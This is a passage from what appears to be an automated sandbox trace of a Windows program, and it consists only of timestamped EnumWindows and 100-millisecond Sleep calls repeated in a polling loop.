(dwMilliseconds=0x64) [0256.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.774] Sleep (dwMilliseconds=0x64) [0256.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.775] Sleep (dwMilliseconds=0x64) [0256.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.778] Sleep (dwMilliseconds=0x64) [0256.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.779] Sleep (dwMilliseconds=0x64) [0256.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.781] Sleep (dwMilliseconds=0x64) [0256.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.783] Sleep (dwMilliseconds=0x64) [0256.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.785] Sleep (dwMilliseconds=0x64) [0256.787] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.787] Sleep (dwMilliseconds=0x64) [0256.789] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.789] Sleep (dwMilliseconds=0x64) [0256.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.792] Sleep (dwMilliseconds=0x64) [0256.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.793] Sleep (dwMilliseconds=0x64) [0256.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.795] Sleep (dwMilliseconds=0x64) [0256.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.798] Sleep (dwMilliseconds=0x64) [0256.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.800] Sleep (dwMilliseconds=0x64) [0256.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.802] Sleep (dwMilliseconds=0x64) [0256.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.805] Sleep (dwMilliseconds=0x64) [0256.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.807] Sleep (dwMilliseconds=0x64) [0256.808] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.809] Sleep (dwMilliseconds=0x64) [0256.811] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.811] Sleep (dwMilliseconds=0x64) [0256.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.813] Sleep (dwMilliseconds=0x64) [0256.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.815] Sleep (dwMilliseconds=0x64) [0256.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.817] Sleep (dwMilliseconds=0x64) [0256.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.822] Sleep (dwMilliseconds=0x64) [0256.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.824] Sleep (dwMilliseconds=0x64) [0256.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.826] Sleep (dwMilliseconds=0x64) [0256.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.828] Sleep (dwMilliseconds=0x64) [0256.830] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.830] Sleep (dwMilliseconds=0x64) [0256.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.832] Sleep (dwMilliseconds=0x64) [0256.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.834] Sleep (dwMilliseconds=0x64) [0256.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.836] Sleep (dwMilliseconds=0x64) [0256.838] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.838] Sleep (dwMilliseconds=0x64) [0256.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.840] Sleep (dwMilliseconds=0x64) [0256.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.842] Sleep (dwMilliseconds=0x64) [0256.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.843] Sleep (dwMilliseconds=0x64) [0256.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.845] Sleep (dwMilliseconds=0x64) [0256.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.847] Sleep (dwMilliseconds=0x64) [0256.849] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.849] Sleep (dwMilliseconds=0x64) [0256.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.851] Sleep (dwMilliseconds=0x64) [0256.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.853] Sleep (dwMilliseconds=0x64) [0256.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.855] Sleep (dwMilliseconds=0x64) [0256.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.857] Sleep (dwMilliseconds=0x64) [0256.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.884] Sleep (dwMilliseconds=0x64) [0256.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.887] Sleep (dwMilliseconds=0x64) [0256.888] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.888] Sleep (dwMilliseconds=0x64) [0256.890] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.890] Sleep (dwMilliseconds=0x64) [0256.891] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.891] Sleep (dwMilliseconds=0x64) [0256.894] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.894] Sleep (dwMilliseconds=0x64) [0256.895] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.895] Sleep (dwMilliseconds=0x64) [0256.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.898] Sleep (dwMilliseconds=0x64) [0256.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.899] Sleep (dwMilliseconds=0x64) [0256.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.901] Sleep (dwMilliseconds=0x64) [0256.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.902] Sleep (dwMilliseconds=0x64) [0256.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.904] Sleep (dwMilliseconds=0x64) [0256.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.905] Sleep (dwMilliseconds=0x64) [0256.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.907] Sleep (dwMilliseconds=0x64) [0256.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.909] Sleep (dwMilliseconds=0x64) [0256.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.911] Sleep (dwMilliseconds=0x64) [0256.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.912] Sleep (dwMilliseconds=0x64) [0256.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.914] Sleep (dwMilliseconds=0x64) [0256.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.915] Sleep (dwMilliseconds=0x64) [0256.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.923] Sleep (dwMilliseconds=0x64) [0256.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.924] Sleep (dwMilliseconds=0x64) [0256.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.926] Sleep (dwMilliseconds=0x64) [0256.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.928] Sleep (dwMilliseconds=0x64) [0256.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.931] Sleep (dwMilliseconds=0x64) [0256.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.934] Sleep (dwMilliseconds=0x64) [0256.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.935] Sleep (dwMilliseconds=0x64) [0256.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.937] Sleep (dwMilliseconds=0x64) [0256.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.938] Sleep (dwMilliseconds=0x64) [0256.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.943] Sleep (dwMilliseconds=0x64) [0256.945] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.945] Sleep (dwMilliseconds=0x64) [0256.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.947] Sleep (dwMilliseconds=0x64) [0256.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.949] Sleep (dwMilliseconds=0x64) [0256.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.952] Sleep (dwMilliseconds=0x64) [0256.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.953] Sleep (dwMilliseconds=0x64) [0256.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.955] Sleep (dwMilliseconds=0x64) [0256.956] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.957] Sleep (dwMilliseconds=0x64) [0256.958] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.958] Sleep (dwMilliseconds=0x64) [0256.960] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.960] Sleep (dwMilliseconds=0x64) [0256.962] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.962] Sleep (dwMilliseconds=0x64) [0256.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.965] Sleep (dwMilliseconds=0x64) [0256.967] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.967] Sleep (dwMilliseconds=0x64) [0256.968] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.968] Sleep (dwMilliseconds=0x64) [0256.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.971] Sleep (dwMilliseconds=0x64) [0256.972] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.973] Sleep (dwMilliseconds=0x64) [0256.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.976] Sleep (dwMilliseconds=0x64) [0256.978] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.978] Sleep (dwMilliseconds=0x64) [0256.980] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.980] Sleep (dwMilliseconds=0x64) [0256.982] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.982] Sleep (dwMilliseconds=0x64) [0256.983] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.984] Sleep (dwMilliseconds=0x64) [0256.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.985] Sleep (dwMilliseconds=0x64) [0256.987] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.987] Sleep (dwMilliseconds=0x64) [0256.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.989] Sleep (dwMilliseconds=0x64) [0256.990] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.990] Sleep (dwMilliseconds=0x64) [0256.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.992] Sleep (dwMilliseconds=0x64) [0256.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.994] Sleep (dwMilliseconds=0x64) [0256.996] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.996] Sleep (dwMilliseconds=0x64) [0256.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.999] Sleep (dwMilliseconds=0x64) [0257.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.000] Sleep (dwMilliseconds=0x64) [0257.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.002] Sleep (dwMilliseconds=0x64) [0257.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.005] Sleep (dwMilliseconds=0x64) [0257.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.006] Sleep (dwMilliseconds=0x64) [0257.008] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.008] Sleep (dwMilliseconds=0x64) [0257.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.011] Sleep (dwMilliseconds=0x64) [0257.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.013] Sleep (dwMilliseconds=0x64) [0257.015] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.015] Sleep (dwMilliseconds=0x64) [0257.017] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.018] Sleep (dwMilliseconds=0x64) [0257.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.020] Sleep (dwMilliseconds=0x64) [0257.030] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.030] Sleep (dwMilliseconds=0x64) [0257.032] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.033] Sleep (dwMilliseconds=0x64) [0257.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.034] Sleep (dwMilliseconds=0x64) [0257.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.036] Sleep (dwMilliseconds=0x64) [0257.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.039] Sleep (dwMilliseconds=0x64) [0257.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.042] Sleep (dwMilliseconds=0x64) [0257.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.046] Sleep (dwMilliseconds=0x64) [0257.048] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.048] Sleep (dwMilliseconds=0x64) [0257.049] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.050] Sleep (dwMilliseconds=0x64) [0257.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.051] Sleep (dwMilliseconds=0x64) [0257.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.054] Sleep (dwMilliseconds=0x64) [0257.057] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.057] Sleep (dwMilliseconds=0x64) [0257.058] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.058] Sleep (dwMilliseconds=0x64) [0257.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.061] Sleep (dwMilliseconds=0x64) [0257.063] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.064] Sleep (dwMilliseconds=0x64) [0257.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.065] Sleep (dwMilliseconds=0x64) [0257.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.067] Sleep (dwMilliseconds=0x64) [0257.069] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.069] Sleep (dwMilliseconds=0x64) [0257.071] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.071] Sleep (dwMilliseconds=0x64) [0257.073] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.073] Sleep (dwMilliseconds=0x64) [0257.076] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.076] Sleep (dwMilliseconds=0x64) [0257.078] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.079] Sleep (dwMilliseconds=0x64) [0257.081] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.081] Sleep (dwMilliseconds=0x64) [0257.085] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.085] Sleep (dwMilliseconds=0x64) [0257.086] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.087] Sleep (dwMilliseconds=0x64) [0257.089] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.089] Sleep (dwMilliseconds=0x64) [0257.091] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.091] Sleep (dwMilliseconds=0x64) [0257.093] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.094] Sleep (dwMilliseconds=0x64) [0257.095] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.096] Sleep (dwMilliseconds=0x64) [0257.098] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.098] Sleep (dwMilliseconds=0x64) [0257.099] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.100] Sleep (dwMilliseconds=0x64) [0257.101] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.101] Sleep (dwMilliseconds=0x64) [0257.104] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.105] Sleep (dwMilliseconds=0x64) [0257.106] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.106] Sleep (dwMilliseconds=0x64) [0257.109] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.109] Sleep (dwMilliseconds=0x64) [0257.111] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.111] Sleep (dwMilliseconds=0x64) [0257.113] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.114] Sleep (dwMilliseconds=0x64) [0257.116] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.116] Sleep (dwMilliseconds=0x64) [0257.118] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.118] Sleep (dwMilliseconds=0x64) [0257.120] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.120] Sleep (dwMilliseconds=0x64) [0257.122] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.123] Sleep (dwMilliseconds=0x64) [0257.125] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.125] Sleep (dwMilliseconds=0x64) [0257.128] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.128] Sleep (dwMilliseconds=0x64) [0257.130] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.130] Sleep (dwMilliseconds=0x64) [0257.131] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.131] Sleep (dwMilliseconds=0x64) [0257.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.133] Sleep (dwMilliseconds=0x64) [0257.134] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.134] Sleep (dwMilliseconds=0x64) [0257.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.136] Sleep (dwMilliseconds=0x64) [0257.137] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.137] Sleep (dwMilliseconds=0x64) [0257.139] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.139] Sleep (dwMilliseconds=0x64) [0257.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.140] Sleep (dwMilliseconds=0x64) [0257.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.142] Sleep (dwMilliseconds=0x64) [0257.143] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.144] Sleep (dwMilliseconds=0x64) [0257.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.145] Sleep (dwMilliseconds=0x64) [0257.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.147] Sleep (dwMilliseconds=0x64) [0257.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.148] Sleep (dwMilliseconds=0x64) [0257.151] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.151] Sleep (dwMilliseconds=0x64) [0257.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.153] Sleep (dwMilliseconds=0x64) [0257.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.154] Sleep (dwMilliseconds=0x64) [0257.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.157] Sleep (dwMilliseconds=0x64) [0257.159] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.159] Sleep (dwMilliseconds=0x64) [0257.161] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.161] Sleep (dwMilliseconds=0x64) [0257.163] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.163] Sleep (dwMilliseconds=0x64) [0257.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.165] Sleep (dwMilliseconds=0x64) [0257.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.166] Sleep (dwMilliseconds=0x64) [0257.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.168] Sleep (dwMilliseconds=0x64) [0257.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.170] Sleep (dwMilliseconds=0x64) [0257.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.172] Sleep (dwMilliseconds=0x64) [0257.175] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.175] Sleep (dwMilliseconds=0x64) [0257.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.177] Sleep (dwMilliseconds=0x64) [0257.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.179] Sleep (dwMilliseconds=0x64) [0257.181] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.181] Sleep (dwMilliseconds=0x64) [0257.183] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.183] Sleep (dwMilliseconds=0x64) [0257.187] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.187] Sleep (dwMilliseconds=0x64) [0257.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.188] Sleep (dwMilliseconds=0x64) [0257.190] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.191] Sleep (dwMilliseconds=0x64) [0257.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.192] Sleep (dwMilliseconds=0x64) [0257.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.194] Sleep (dwMilliseconds=0x64) [0257.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.197] Sleep (dwMilliseconds=0x64) [0257.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.199] Sleep (dwMilliseconds=0x64) [0257.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.201] Sleep (dwMilliseconds=0x64) [0257.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.204] Sleep (dwMilliseconds=0x64) [0257.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.205] Sleep (dwMilliseconds=0x64) [0257.207] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.207] Sleep (dwMilliseconds=0x64) [0257.209] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.209] Sleep (dwMilliseconds=0x64) [0257.211] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.211] Sleep (dwMilliseconds=0x64) [0257.213] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.213] Sleep (dwMilliseconds=0x64) [0257.214] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.214] Sleep (dwMilliseconds=0x64) [0257.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.216] Sleep (dwMilliseconds=0x64) [0257.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.219] Sleep (dwMilliseconds=0x64) [0257.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.221] Sleep (dwMilliseconds=0x64) [0257.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.223] Sleep (dwMilliseconds=0x64) [0257.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.226] Sleep (dwMilliseconds=0x64) [0257.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.228] Sleep (dwMilliseconds=0x64) [0257.230] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.230] Sleep (dwMilliseconds=0x64) [0257.232] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.232] Sleep (dwMilliseconds=0x64) [0257.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.234] Sleep (dwMilliseconds=0x64) [0257.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.237] Sleep (dwMilliseconds=0x64) [0257.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.240] Sleep (dwMilliseconds=0x64) [0257.242] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.242] Sleep (dwMilliseconds=0x64) [0257.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.243] Sleep (dwMilliseconds=0x64) [0257.245] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.245] Sleep (dwMilliseconds=0x64) [0257.246] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.246] Sleep (dwMilliseconds=0x64) [0257.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.249] Sleep (dwMilliseconds=0x64) [0257.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.250] Sleep (dwMilliseconds=0x64) [0257.252] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.299] Sleep (dwMilliseconds=0x64) [0257.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.303] Sleep (dwMilliseconds=0x64) [0257.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.305] Sleep (dwMilliseconds=0x64) [0257.306] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.307] Sleep (dwMilliseconds=0x64) [0257.311] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.311] Sleep (dwMilliseconds=0x64) [0257.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.313] Sleep (dwMilliseconds=0x64) [0257.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.317] Sleep (dwMilliseconds=0x64) [0257.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.318] Sleep (dwMilliseconds=0x64) [0257.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.320] Sleep (dwMilliseconds=0x64) [0257.321] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0257.321] Sleep (dwMilliseconds=0x64) [0258.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0258.911] Sleep (dwMilliseconds=0x64) [0259.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.088] Sleep (dwMilliseconds=0x64) [0259.090] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.091] Sleep (dwMilliseconds=0x64) [0259.124] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.125] Sleep (dwMilliseconds=0x64) [0259.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.236] Sleep (dwMilliseconds=0x64) [0259.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.239] Sleep (dwMilliseconds=0x64) [0259.255] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.255] Sleep (dwMilliseconds=0x64) [0259.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.269] Sleep (dwMilliseconds=0x64) [0259.338] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.339] Sleep (dwMilliseconds=0x64) [0259.354] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.355] Sleep (dwMilliseconds=0x64) [0259.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.538] Sleep (dwMilliseconds=0x64) [0259.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.649] Sleep (dwMilliseconds=0x64) [0259.664] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.665] Sleep (dwMilliseconds=0x64) [0259.680] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.680] Sleep (dwMilliseconds=0x64) [0259.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.791] Sleep (dwMilliseconds=0x64) [0259.792] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.793] Sleep (dwMilliseconds=0x64) [0259.794] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.794] Sleep (dwMilliseconds=0x64) [0259.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.796] Sleep (dwMilliseconds=0x64) [0259.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) 